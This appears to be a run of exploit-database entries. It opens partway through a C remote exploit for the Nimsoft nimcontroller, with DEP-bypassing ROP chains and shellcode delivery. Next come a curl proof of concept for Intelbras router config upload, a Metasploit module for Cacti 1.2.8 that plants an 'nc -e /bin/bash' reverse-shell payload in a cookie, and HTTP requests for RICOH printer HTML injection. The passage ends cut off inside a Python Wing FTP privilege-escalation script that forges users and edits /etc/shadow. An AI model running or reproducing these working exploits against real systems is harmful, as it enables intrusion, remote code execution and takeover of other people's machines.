NimsoftProbe *packet_gen(char *lparams[], int nparams, int exploit_buffer) { int index = 0; int fmt_args; int lbody = 0; int largs = 0; char *tptr; char pheader[PHLEN]; char pbody[PBLEN]; char pargs[PALEN]; char pbuffer[FPLEN]; char temp_buffer[80]; char *probe = lparams[0]; int epoch_time = (int)time(NULL); NimsoftProbe *probePtr = (NimsoftProbe*)malloc(sizeof(NimsoftProbe)); fmt_args = snprintf(NULL, 0, "%d%s%d%d%d%s", (strlen(probe)+1), probe, (INTSIZ(epoch_time)+1), epoch_time, (strlen(CLIENT)+1), CLIENT ); if ((fmt_args + sizeof(packet_body)) > PBLEN) { printf("Failed to generate packet body\n"); exit(-1); } lbody = snprintf(pbody, PBLEN, packet_body, (strlen(probe)+1), probe, (INTSIZ(epoch_time)+1), epoch_time, (strlen(CLIENT)+1), CLIENT ); for (i = 1; i < nparams; i++) { memset(temp_buffer, '\0', 80); for (j = 0; j < strlen(lparams[i]); j++) { if ((c = lparams[i][j]) == '=') { memcpy(temp_buffer, lparams[i], j); index = ++j; break; } } tptr = lparams[i]; if ((c = 1, c += strlen(temp_buffer)) < PALEN) { largs += snprintf(pargs+largs, c, "%s", temp_buffer); largs++; } else { printf("Failed to generate packet arguments\n"); exit(-1); } if (index > 0 && exploit_buffer == 0) { tptr = tptr+index; if ((largs + strlen(tptr) + 2) < PALEN) { largs += snprintf(pargs+largs, 2, "%s", "1"); largs++; largs += snprintf(pargs+largs, strlen(tptr)+1, "%d", strlen(tptr)+1); largs++; } else { printf("Failed to generate packet arguments\n"); exit(-1); } c = 1, c += strlen(tptr); if ((largs + c) < PALEN) { largs += snprintf(pargs+largs, c, "%s", tptr); largs++; } else { printf("Failed to generate packet arguments\n"); exit(-1); } } if (index > 0 && exploit_buffer > 0) { tptr = tptr+index; if ((largs + exploit_buffer + 2) < PALEN) { largs += snprintf(pargs+largs, 2, "%s", "1"); largs++; largs += snprintf(pargs+largs, 5, %d", exploit_buffer+1); largs++; } else { printf("Failed to generate packet arguments\n"); exit(-1); } c = 1, c += exploit_buffer; if ((largs + c) < PALEN) { memcpy(pargs+largs, tptr, c); largs += exploit_buffer; largs++; } else { printf("Failed to generate packet arguments\n"); exit(-1); } } } index = snprintf(pbuffer, FPLEN, packet_header, lbody, largs); index += lbody; if (index < FPLEN) { strncat(pbuffer, pbody, lbody); } else { printf("Failed to concatenate packet body\n"); exit(-1); } for (i = 0; i < index; i++) if (pbuffer[i] == '\x0f') pbuffer[i] = '\x00'; if ((index + largs) < FPLEN) { for (i = 0; i < largs; i++) pbuffer[index++] = pargs[i]; } else { printf "Failed to concatenate packet arguments\n"); exit(-1); } probePtr->packet = pbuffer; probePtr->length = index; return probePtr; } /********************************************************************************************************************* * * * int parse_directory(char *response, int length): * * * * This function will parse the directory contents, specifically looking for the entry keyword; if found, we can * * proceed with exploitation. * * * * int check_vulnerability(char *rhost, int rport): * * * * This function will send a Nimbus probe to the target controller, specifically the directory_list probe. Once * * sent the returned packet will be parsed by parse_directory. * * * *********************************************************************************************************************/ #define PE "(\033[1m\033[31m-\033[0m)" #define PI "(\033[1m\033[94m*\033[0m)" #define PG "(\033[1m\033[92m+\033[0m)" int parse_directory(char *response, int length) { int i; int backup; int check = 0; int index = 0; char buf[80]; struct tm ts; time_t capture; if (strncmp(response, "nimbus/1.0", 10) != 0) return -1; while (index < length) { if (strcmp("entry", (response+index)) == 0) printf("%s Persistence is an art\n\n", PG); if (strcmp("name", (response+index)) == 0) { backup = index; check = 1; /* last modified */ for (int i = 0; i < 15; i++) index += strlen(response+index) + 1; capture = atoi(response+index); ts = *localtime(&capture); strftime(buf, sizeof(buf), "%m/%d/%Y %I:%M %p", &ts); printf("%12s ", buf); index = backup; /* type */ for (int i = 0; i < 7; i++) index += strlen(response+index) + 1; if (strcmp("2", (response+index)) == 0) printf("%7s", " "); else printf("%-7s", "<DIR>"); index = backup; /* name */ for (int i = 0; i < 3; i++) index += strlen(response+index) + 1; printf("%s\n", response+index); } index += strlen(response+index) + 1; } return (check != 1) ? -1 : 0; } int check_vulnerability(char *rhost, int rport) { int c; int sock; int count; NimsoftProbe *probe; char response[BUFSIZ]; struct sockaddr_in srv; char *get_directory_listing[] = { "directory_list", "directory=C:\\", "detail=1" }; probe = packet_gen(get_directory_listing, 3, 0); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1; srv.sin_addr.s_addr = inet_addr(rhost); srv.sin_port = htons(rport); srv.sin_family = AF_INET; if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0) return -1; printf("%s Verifying vulnerable probe is reachable\n", PI); send(sock, probe->packet, probe->length, 0); count = read(sock, response, BUFSIZ); if (parse_directory(response, count) == 0) printf("\n%s Target ready for exploitation\n", PG); else return -1; free(probe); close(sock); return 0; } /******************************************************************************************************************** * * * char *nimdex(char *haystack, char *needle, int size): * * * * This function works similar to strstr, however it was specifically made to index "keys" to their respective * * "values" within a Nimbus packet. It has only been tested against the get_info packet. * * * * int parse_response(char *response, int length): * * * * This function leverages nimdex to perform 2 checks. The first check will verify the target operating system * * has been exploited, the second check will verify the Nimbus controller version is exploitable (or rather has * * a ROP chain ready). In order for exploitation to succeed only the second check needs to pass, I have faith in * * my ROP chain being universal. * * * * int check_version(char *rhost, int rport): * * * * This function will send a Nimbus probe to the target controller, specifically the get_info probe. Once sent * * the returned packet will be parsed by parse_response. * * * ********************************************************************************************************************/ char *nimdex(char *haystack, char *needle, int size) { int found = 0; int index = 0; if (strncmp(haystack, "nimbus/1.0", 10) != 0) return NULL; while (index < size) { if (strcmp(needle, (haystack+index)) == 0) found = 2; else if (found >= 2) found++; if (found == 5) return &haystack[index]; index += strlen(haystack+index) + 1; } return NULL; } int parse_response(char *response, int length) { int i; int c; char *ptr; int check = 0; int nv = sizeof(versions)/sizeof(versions[0]); int ne = sizeof(exploited)/sizeof(exploited[0]); if ((ptr = nimdex(response, "os_minor", length)) == NULL) return -1; printf("%s Probe successful, detected: %s\n", PI, ptr); if ((ptr = nimdex(response, "os_version", length)) == NULL) return -1; for (i = 0; i < ne; i++) if ((strcmp(exploited[i], ptr)) == 0) check = 1; if (check != 1) { printf("%s Exploit has not been tested against OS version\n", PE); printf("%s Continute exploitation (Y/N): ", PE); c = getchar(); if (tolower(c) != 'y') exit(-1); printf("%s If exploitation successful, update code!!!\n", PI); if ((ptr = nimdex(response, "os_version", length)) == NULL) return -1; printf("%s Target OS ID: %s\n", PI, ptr); } else printf("%s Target OS appears to be exploitable\n", PI); check = 0; if ((ptr = nimdex(response, "version", length)) == NULL) return -1; for (i = 0; i < nv; i++) if ((strcmp(versions[i], ptr)) == 0) check = 1; if (check != 1) { printf("%s Exploit has not been tested against target build\n", PE); exit(-1); } else printf("%s Nimbus build appears to be exploitable\n", PI); return 0; } int check_version(char *rhost, int rport) { int c; int sock; int count; NimsoftProbe *probe; char response[BUFSIZ]; struct sockaddr_in srv; char *get_operating_sys[] = { "get_info", "interfaces=0" }; probe = packet_gen(get_operating_sys, 2, 0); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1; srv.sin_addr.s_addr = inet_addr(rhost); srv.sin_port = htons(rport); srv.sin_family = AF_INET; if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0) return -1; printf("%s Sending get_info probe to %s:%d\n", PI, rhost, rport); send(sock, probe->packet, probe->length, 0); count = read(sock, response, BUFSIZ); if ((parse_response(response, count) != 0)) { printf("%s Probe failed, unable to parse packet\n", PE); exit(-1); } free(probe); close(sock); return 0; } /***************************************************************************************************************** * This chain will re-align RSP / Stack, it MUST be a multiple of 16 bytes otherwise our call will fail. * * I had VP work 50% of the time when the stack was unaligned. * *****************************************************************************************************************/ int64_t rsp_alignment_rop_gadgets[] = { [0 ... 19] = 0x0000000140018c42, // ret (20 ROP NOPS) 0x0000000140002ef6, // pop rax ; ret 0x00000001401a3000, // *ptr to handle reference ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE ) 0x00000001400af237, // pop rdi ; ret 0x0000000000000007, // alignment for rsp 0x0000000140025dab, // add esp, edi ; adc byte [rax], al ; add rsp, 0x0000000000000278 ; ret }; /***************************************************************************************************************** * This chain will craft function calls to GetModuleHandleA, GetProcAddressStub, and finally VirtualProtectStub. * * Once completed, we have bypassed DEP and can get code execution. Since VirtualProtectStub is auto generated, * * we needn't worry about other Windows OS's. * *****************************************************************************************************************/ int64_t dep_bypass_rop_gadgets[] = { // RAX -> HMODULE GetModuleHandleA( // ( RCX == *module ) LPCSTR lpModuleName, // ); [0 ... 14] = 0x0000000140018c42, // ret (15 ROP NOPS) 0x0000000140002ef6, // pop rax ; ret 0x0000000000000000, // (zero out rax) 0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // [24 ... 33] = 0x0000000140018c42, // ret (10 ROP NOPS) 0x0000000140131643, // pop rcx ; ret 0x00000000000009dd, // offset to "kernel32.dll" 0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret [37 ... 51] = 0x0000000140018c42, // ret (15 ROP NOPS) 0x00000001400b741b, // xchg eax, ecx ; ret 0x0000000140002ef6, // pop rax ; ret 0x000000014015e310, // GetModuleHandleA (0x00000000014015E330-20) 0x00000001400d1161, // call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret [56 ... 72] = 0x0000000140018c42, // ret (17 ROP NOPS) // RAX -> FARPROC GetProcAddressStub( // ( RCX == &addr ) HMODULE hModule, // ( RDX == *module ) lpProcName // ); 0x0000000140111c09, // xchg rax, r11 ; or al, 0x00 ; ret (backup &hModule) 0x0000000140002ef6, // pop rax ; ret 0x0000000000000000, // (zero out rax) 0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // [83 ... 92] = 0x0000000140018c42, // ret (10 ROP NOPS) 0x0000000140131643, // pop rcx ; ret 0x0000000000000812, // offset to "virtualprotectstub" 0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret [96 ... 110] = 0x0000000140018c42, // ret (15 ROP NOPS) 0x0000000140135e39, // mov edx,eax ; mov rbx,qword [rsp+0x30] ; mov rbp,qword [rsp+0x38] ; mov rsi,qword [rsp+0x40] ; mov rdi,qword [rsp+0x48] ; mov eax,edx ; add rsp,0x20 ; pop r12; ret [112 ... 121] = 0x0000000140018c42, // ret (10 ROP NOPS) 0x00000001400d1ab8, // mov rax, r11 ; add rsp, 0x30 ; pop rdi ; ret [123 ... 132] = 0x0000000140018c42, // ret (10 ROP NOPS) 0x0000000140111ca1, // xchg rax, r13 ; or al, 0x00 ; ret 0x00000001400cf3d5, // mov rcx, r13 ; mov r13, qword [rsp+0x50] ; shr rsi, cl ; mov rax, rsi ; add rsp, 0x20 ; pop rdi ; pop rsi ; pop rbp ; ret 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // [138 ... 143] = 0x0000000140018c42, // ret 0x0000000140002ef6, // pop rax ; ret 0x000000014015e318, // GetProcAddressStub (0x00000000014015e338-20) 0x00000001400d1161, // call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret [147 ... 163] = 0x0000000140018c42, // ret (17 ROP NOPS) // RAX -> BOOL VirtualProtectStub( // ( RCX == *shellcode ) LPVOID lpAddress, // ( RDX == len(shellcode) ) SIZE_T dwSize, // ( R8 == 0x0000000000000040 ) DWORD flNewProtect, // ( R9 == *writeable location ) PDWORD lpflOldProtect, // ); 0x0000000140111c09, // xchg rax, r11 ; or al, 0x00 ; ret (backup *VirtualProtectStub) 0x000000014013d651, // pop r12 ; ret 0x00000001401fb000, // *writeable location ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE ) 0x00000001400eba74, // or r9, r12 ; mov rax, r9 ; mov rbx, qword [rsp+0x50] ; mov rbp, qword [rsp+0x58] ; add rsp, 0x20 ; pop r12 ; pop rdi ; pop rsi ; ret [168 ... 177] = 0x0000000140018c42, // ret (10 ROP NOPS) 0x0000000140002ef6, // pop rax ; ret 0x0000000000000000, // 0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // [187 ... 196] = 0x0000000140018c42, // ret (10 ROP NOPS) 0x0000000140131643, // pop rcx ; ret 0x000000000000059f, // (offset to *shellcode) 0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret [200 ... 214] = 0x0000000140018c42, // ret (15 ROP NOPS) 0x00000001400b741b, // xchg eax, ecx ; ret 0x00000001400496a2, // pop rdx ; ret 0x00000000000005dc, // dwSize 0x00000001400bc39c, // pop r8 ; ret 0x0000000000000040, // flNewProtect 0x00000001400c5f8a, // mov rax, r11 ; add rsp, 0x38 ; ret (RESTORE VirtualProtectStub) [221 ... 237] = 0x0000000140018c42, // ret (17 ROP NOPS) 0x00000001400a0b55, // call rax ; mov rdp qword ptr [rsp+48h] ; mov rsi, qword ptr [rsp+50h] ; mov rax, rbx ; mov rbx, qword ptr [rsp + 40h] ; add rsp,30h ; pop rdi ; ret [239 ... 258] = 0x0000000140018c42, // ret (20 ROP NOPS) 0x0000000140002ef6, // pop rax ; ret (CALL COMPLETE, "JUMP" INTO OUR SHELLCODE) 0x0000000000000000, // (zero out rax) 0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // [268 ... 277] = 0x0000000140018c42, // ret (10 ROP NOPS) 0x0000000140131643, // pop rcx ; ret 0x0000000000000317, // (offset to our shellcode) 0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret [281 ... 295] = 0x0000000140018c42, // ret (15 ROP NOPS) 0x00000001400a9747, // jmp rax [297 ... 316] = 0x0000000140018c42, // ret (do not remove) }; /******************************************************************************************************************** * * * int generate_rop_chain(unsigned char *buffer, int gadgets, int64_t rop_gadgets[]): * * * * This function will generate a rop chain and store it in the buffer passed as the first argument. The return * * value will contain the final ROP chain size. * * * ********************************************************************************************************************/ #define RSP_ROP (sizeof(rsp_alignment_rop_gadgets)/sizeof(int64_t)) #define DEP_ROP (sizeof(dep_bypass_rop_gadgets) / sizeof(int64_t)) int generate_rop_chain(unsigned char *buffer, int gadgets, int64_t rop_gadgets[]) { int i, j, k; int chain_size = 0; for (i = 0; i < gadgets; i++) for (j = 0, k = 0; j < sizeof(rop_gadgets[i]); j++) { *buffer++ = ((rop_gadgets[i]>>k)&0xff); chain_size++; k += 8; } return chain_size; } #define MAX_EXPLOIT_BUFFER 9000 unsigned char *generate_exploit_buffer(unsigned char *buffer) { int r1, r2, c; char rop_chain[20000]; unsigned char *heapflip = "\x3d\xfd\x06\x40\x01\x00\x00\x00"; memset(buffer , 0x41, 1000); // Offset memset(buffer+1000, 0x0F, 33); memcpy(buffer+1033, heapflip, 8); // HeapFlip - pop rsp ; or al, 0x00 ; add rsp, 0x0000000000000448 ; ret memset(buffer+1041, 0x41, 7); // Adjustment for the initial chain /* generate the first rop chain to perform stack alignment */ r1 = generate_rop_chain(rop_chain, RSP_ROP, rsp_alignment_rop_gadgets); memcpy(buffer+1048, rop_chain, r1); c = r1 + 1048; /* adjust for second stage */ memset(buffer+c, 0x57, 631); c += 631; /* generate the second rop chain to perform DEP bypass */ r2 = generate_rop_chain(rop_chain, DEP_ROP, dep_bypass_rop_gadgets); memcpy(buffer+c, rop_chain, r2); c += r2; /* ROP CHAIN MUST BE 3500 BYTES OR EXPLOITATION WILL FAIL */ memset(buffer+c, 0x45, (3500 - (r1 + r2 + 631))); c += (3500 - (r1 + r2 + 631)); memcpy(buffer+c, "kernel32.dll\x00", 13); c += 13; memcpy(buffer+c, "VirtualProtect\x00", 15); c += 15; /* NOPS */ memset(buffer+c, 0x90, 500); c += 500; /* shellcode */ memcpy(buffer+c, shellcode, (sizeof(shellcode)-1)); c += (sizeof(shellcode)-1); /* filler */ memset(buffer+c, 0x10, (8000 - c)); return buffer; } #define MAX_ARGUMENTS 5 void help() { printf("usage: ./singAboutMeImDyingOfThirst [-h] [-t TARGET] [-p PORT] [ARG=VAL]\n\n"); printf("Sing About Me Im Dying Of Thirst - A nimcontroller's worst nightmare\n\n"); printf("optional arguments:\n"); printf(" -h, --help show this help message and exit\n"); printf(" -t TARGET, --target TARGET target host to probe\n"); printf(" -p PORT, --port PORT nimcontroller port\n\n"); printf("examples:\n"); printf(" ./singAboutMeImDyingOfThirst -t 192.168.88.130 -p 48000\n"); exit(0); } int main(int argc, char **argv) { int c; int sock; int rport; NimsoftProbe *probe; struct sockaddr_in srv; char *rhost, *port; char *params[MAX_ARGUMENTS]; unsigned char *exploit_buff; unsigned char buffer[MAX_EXPLOIT_BUFFER]; unsigned char final_buffer[MAX_EXPLOIT_BUFFER] = "directory="; char *exploit[] = { "directory_list", final_buffer }; while (1) { static struct option long_options[] = { {"help", no_argument, 0, 'h'}, {"target", required_argument, 0, 't'}, {"port", required_argument, 0, 'p'}, {0, 0, 0} }; int option_index = 0; c = getopt_long (argc, argv, "ht:p:", long_options, &option_index); if (c == -1) break; switch(c) { case 't': rhost = optarg; break; case 'p': port = optarg; break; case 'h': default: help(); break; } } if (argc < 5) help(); rport = atoi(port); if (check_version(rhost, rport) != 0) { printf("%s Failed to connect to target host\n", PE); exit(-1); } if (check_vulnerability(rhost, rport) != 0) { printf("%s Target failed vulnerability tests\n", PE); exit(-1); } printf("%s Generating evil nimbus probe, we're watching\n", PI); exploit_buff = generate_exploit_buffer(buffer); memcpy(final_buffer+10, exploit_buff, 8000); probe = packet_gen(exploit, 2, 8000); printf("%s Sending evil buffer, R.I.P RIP - wetw0rk\n", PG); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1; srv.sin_addr.s_addr = inet_addr(rhost); srv.sin_port = htons(rport); srv.sin_family = AF_INET; if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0) return -1; send(sock, probe->packet, probe->length, 0); free(probe); close(sock); }
-
Intelbras Wireless N 150Mbps WRN240 - Authentication Bypass (Config Upload)
# Exploit Title: Intelbras Wireless N 150Mbps WRN240 - Authentication Bypass (Config Upload) # Date: 2019-11-20 # Exploit Author: Elber Tavares # Vendor Homepage: https://www.intelbras.com/ # Software Link: http://en.intelbras.com.br/node/1033 # Version: Intelbras Wireless N 150Mbps - WRN240 # Tested on: linux, windows # CVE: CVE-2019-19142 Intelbras WRN240 devices do not require authentication to replace the firmware via a POST request to the incoming/Firmware.cfg URI. REFS: https://fireshellsecurity.team/hack-n-routers/ https://github.com/ElberTavares/routers-exploit/ Poc: curl -i -X POST -H "Content-Type: multipart/form-data" -H "Referer: http://192.168.0.1/userRpm/BakNRestoreRpm.htm" -F [email protected] http://192.1680.1/incoming/RouterBakCfgUpload.cfg
-
Cacti v1.2.8 - Unauthenticated Remote Code Execution (Metasploit)
# Exploit Title: Cacti v1.2.8 - Unauthenticated Remote Code Execution (Metasploit) # Date: 2020-02-29 # Exploit Author: Lucas Amorim (sh286)s # CVE: CVE-2020-8813 # Vendor Homepage: https://cacti.net/ # Version: v1.2.8 # Tested on: Linux ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Cacti v1.2.8 Unauthenticated Remote Code Execution', 'Description' => %q{graph_realtime.php in Cacti 1.2.8 allows remote attackers to execute arbitrary OS commands via shell metacharacters in a cookie, if a guest user has the graph real-time privilege.}, 'Author' => [ 'Lucas Amorim ' # MSF module ], 'License' => MSF_LICENSE, 'Platform' => 'php', 'References' => [ ['CVE', '2020-8813'] ], 'DisclosureDate' => 'Feb 21 2020', 'Privileged' => true, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'SSL' => true, }, 'Targets' => [ ['Automatic', {}] ], 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(443), OptString.new('RPATH', [ false, "path to cacti", "" ]) ]) deregister_options('VHOST') end def check res = send_request_raw( 'method' => 'GET', 'uri' => "#{datastore['RPATH']}/graph_realtime.php?action=init" ) if res && res.code == 200 return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end def send_payload() exec_payload=(";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % [datastore['LHOST'], datastore['LPORT']]) send_request_raw( 'uri' => "#{datastore['RPATH']}/graph_realtime.php?action=init", 'method' => 'GET', 'cookie' => "Cacti=#{Rex::Text.uri_encode(exec_payload, mode = 'hex-normal')}" ) end def exploit if check == Exploit::CheckCode::Vulnerable print_good("Target seems to be a vulnerable") send_payload() else print_error("Target does not seem to be vulnerable. Will exit now...") end end end
-
RICOH Aficio SP 5200S Printer - 'entryNameIn' HTML Injection
# Exploit Title: RICOH Aficio SP 5200S Printer - 'entryNameIn' HTML Injection # Discovery by: Paulina Girón # Discovery Date: 2020-03-02 # Vendor Homepage: https://www.ricoh.com/ # Hardware Link: http://support.ricoh.com/bb/html/dr_ut_e/re2/model/sp52s/sp52s.htm # Product Version: RICOH Aficio SP 5200S Printer # Vulnerability Type: Code Injection - HTML Injection # Steps to Produce the HTML Injection: #1.- HTTP POST Request 'adrsGetUser.cgi': POST /web/entry/es/address/adrsGetUser.cgi HTTP/1.1 Host: xxx.xxx.xxx.xxx Content-Length: 447 Cache-Control: max-age=0 Origin: http://xxx.xxx.xxx.xxx Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://xxx.xxx.xxx.xxx/web/entry/es/address/adrsList.cgi Accept-Encoding: gzip, deflate Accept-Language: es-ES,es;q=0.9 Cookie: risessionid=059501971327590; cookieOnOffChecker=on; wimsesid=110507639 Connection: close mode=ADDUSER&pageSpecifiedIn=&pageNumberIn=1&searchSpecifyModeIn=&outputSpecifyModeIn=DEFAULT&entryIndexIn=&entryNameIn=&entryFilterIn=ALL_O&searchItemIn=SEARCH_INDEX_O&searchDataIn=&pages=&listCountIn=10&totalCount=13&offset=0&00001=ADRS_ENTRY_USER&00002=ADRS_ENTRY_USER&00003=ADRS_ENTRY_USER&00004=ADRS_ENTRY_USER&00005=ADRS_ENTRY_USER&00006=ADRS_ENTRY_USER&00007=ADRS_ENTRY_USER&00008=ADRS_ENTRY_USER&00009=ADRS_ENTRY_USER&00010=ADRS_ENTRY_USER #HTTP Response : HTTP/1.0 200 OK Date: Mon, 02 Mar 2020 15:15:59 GMT Server: Web-Server/3.0 Content-Type: text/html; charset=UTF-8 Expires: Mon, 02 Mar 2020 15:15:59 GMT Pragma: no-cache Cache-Control: no-cache Set-Cookie: cookieOnOffChecker=on; path=/ Connection: close #2.- HTTP POST Request 'adrsSetUser.cgi': POST /web/entry/es/address/adrsSetUser.cgi HTTP/1.1 Host: xxx.xxx.xxx.xxx Content-Length: 611 Cache-Control: max-age=0 Origin: http://xxx.xxx.xxx.xxx Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://xxx.xxx.xxx.xxx/web/entry/es/address/adrsGetUser.cgi Accept-Encoding: gzip, deflate Accept-Language: es-ES,es;q=0.9 Cookie: risessionid=059501971327590; cookieOnOffChecker=on; wimsesid=110507639 Connection: close mode=ADDUSER&pageSpecifiedIn=&pageNumberIn=&searchSpecifyModeIn=&outputSpecifyModeIn=&inputSpecifyModeIn=WRITE&wayFrom=adrsGetUser.cgi%3FoutputSpecifyModeIn%3DSETTINGS&wayTo=adrsList.cgi%3FsearchSpecifyModeIn%3DNONE&isSelfPasswordEditMode=false&entryIndexIn=00012&entryNameIn=prueba&entryDisplayNameIn=prueba&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&userCodeIn=&smtpAuthAccountIn=AUTH_SYSTEM_O&folderAuthAccountIn=AUTH_SYSTEM_O&ldapAuthAccountIn=AUTH_SYSTEM_O&entryUseIn=ENTRYUSE_TO_O&faxDestIn=&mailAddressIn=&isCertificateExist=false&folderProtocolIn=SMB_O&folderPathNameIn= #HTTP Response : HTTP/1.0 200 OK Date: Mon, 02 Mar 2020 15:17:10 GMT Server: Web-Server/3.0 Content-Type: text/html; charset=UTF-8 Expires: Mon, 02 Mar 2020 15:17:10 GMT Pragma: no-cache Cache-Control: no-cache Set-Cookie: cookieOnOffChecker=on; path=/ Connection: close
-
Wing FTP Server 6.2.3 - Privilege Escalation
# Exploit Title: Wing FTP Server 6.2.3 - Privilege Escalation # Google Dork: intitle:"Wing FTP Server - Web" # Date: 2020-03-02 # Exploit Author: Cary Hooper # Vendor Homepage: https://www.wftpserver.com # Software Link: https://www.wftpserver.com/download/wftpserver-linux-64bit.tar.gz # Version: v6.2.3 # Tested on: Ubuntu 18.04, Kali Linux 4, MacOS Catalina, Solaris 11.4 (x86) # Given SSH access to a target machine with Wing FTP Server installed, this program: # - SSH in, forges a FTP user account with full permissions (CVE-2020-8635) # - Logs in to HTTP interface and then edits /etc/shadow (resulting in CVE-2020-8634) # Each step can all be done manually with any kind of code execution on target (no SSH) # To setup, start SSH service, then run ./wftpserver. Wing FTP services will start after a domain is created. # https://www.hooperlabs.xyz/disclosures/cve-2020-8635.php (writeup) #!/usr/bin/python3 #python3 cve-2020-8635.py -t 192.168.0.2:2222 -u lowleveluser -p demo --proxy http://127.0.0.1:8080 import paramiko,sys,warnings,requests,re,time,argparse #Python warnings are the worst warnings.filterwarnings("ignore") #Argument handling begins parser = argparse.ArgumentParser(description="Exploit for Wing FTP Server v6.2.3 Local Privilege Escalation",epilog=print(f"Exploit by @nopantrootdance.")) parser.add_argument("-t", "--target", help="hostname of target, optionally with port specified (hostname:port)",required=True) parser.add_argument("-u", "--username", help="SSH username", required=True) parser.add_argument("-p", "--password", help="SSH password", required=True) parser.add_argument("-v", "--verbose", help="Turn on debug information", action='store_true') parser.add_argument("--proxy", help="Send HTTP through a proxy",default=False) args = parser.parse_args() #Global Variables global username global password global proxies global port global hostname global DEBUG username = args.username password = args.password #Turn on debug statements if args.verbose: DEBUG = True else: DEBUG = False #Handle nonstandard SSH port if ':' in args.target: socket = args.target.split(':') hostname = socket[0] port = socket[1] else: hostname = args.target port = "22" #Prepare proxy dict (for Python requests) if args.proxy: if ("http://" not in args.proxy) and ("https://" not in args.proxy): print(f"[!] Invalid proxy. Proxy must have http:// or https:// {proxy}") sys.exit(1) proxies = {'http':args.proxy,'https':args.proxy} else: proxies = {} #Argument handling ends #This is what a <username>.xml file looks like. #Gives full permission to user (h00p:h00p) for entire filesystem '/'. #Located in $_WFTPROOT/Data/Users/ evilUserXML = """<?xml version="1.0" ?> <USER_ACCOUNTS Description="Wing FTP Server User Accounts"> <USER> <UserName>h00p</UserName> <EnableAccount>1</EnableAccount> <EnablePassword>1</EnablePassword> <Password>d28f47c0483d392ca2713fe7e6f54089</Password> <ProtocolType>63</ProtocolType> <EnableExpire>0</EnableExpire> <ExpireTime>2020-02-25 18:27:07</ExpireTime> <MaxDownloadSpeedPerSession>0</MaxDownloadSpeedPerSession> <MaxUploadSpeedPerSession>0</MaxUploadSpeedPerSession> <MaxDownloadSpeedPerUser>0</MaxDownloadSpeedPerUser> <MaxUploadSpeedPerUser>0</MaxUploadSpeedPerUser> <SessionNoCommandTimeOut>5</SessionNoCommandTimeOut> <SessionNoTransferTimeOut>5</SessionNoTransferTimeOut> <MaxConnection>0</MaxConnection> <ConnectionPerIp>0</ConnectionPerIp> <PasswordLength>0</PasswordLength> <ShowHiddenFile>0</ShowHiddenFile> <CanChangePassword>0</CanChangePassword> <CanSendMessageToServer>0</CanSendMessageToServer> <EnableSSHPublicKeyAuth>0</EnableSSHPublicKeyAuth> <SSHPublicKeyPath></SSHPublicKeyPath> <SSHAuthMethod>0</SSHAuthMethod> <EnableWeblink>1</EnableWeblink> <EnableUplink>1</EnableUplink> <CurrentCredit>0</CurrentCredit> <RatioDownload>1</RatioDownload> <RatioUpload>1</RatioUpload> <RatioCountMethod>0</RatioCountMethod> <EnableRatio>0</EnableRatio> <MaxQuota>0</MaxQuota> <CurrentQuota>0</CurrentQuota> <EnableQuota>0</EnableQuota> <NotesName></NotesName> <NotesAddress></NotesAddress> <NotesZipCode></NotesZipCode> <NotesPhone></NotesPhone> <NotesFax></NotesFax> <NotesEmail></NotesEmail> <NotesMemo></NotesMemo> <EnableUploadLimit>0</EnableUploadLimit> <CurLimitUploadSize>0</CurLimitUploadSize> <MaxLimitUploadSize>0</MaxLimitUploadSize> <EnableDownloadLimit>0</EnableDownloadLimit> <CurLimitDownloadLimit>0</CurLimitDownloadLimit> <MaxLimitDownloadLimit>0</MaxLimitDownloadLimit> 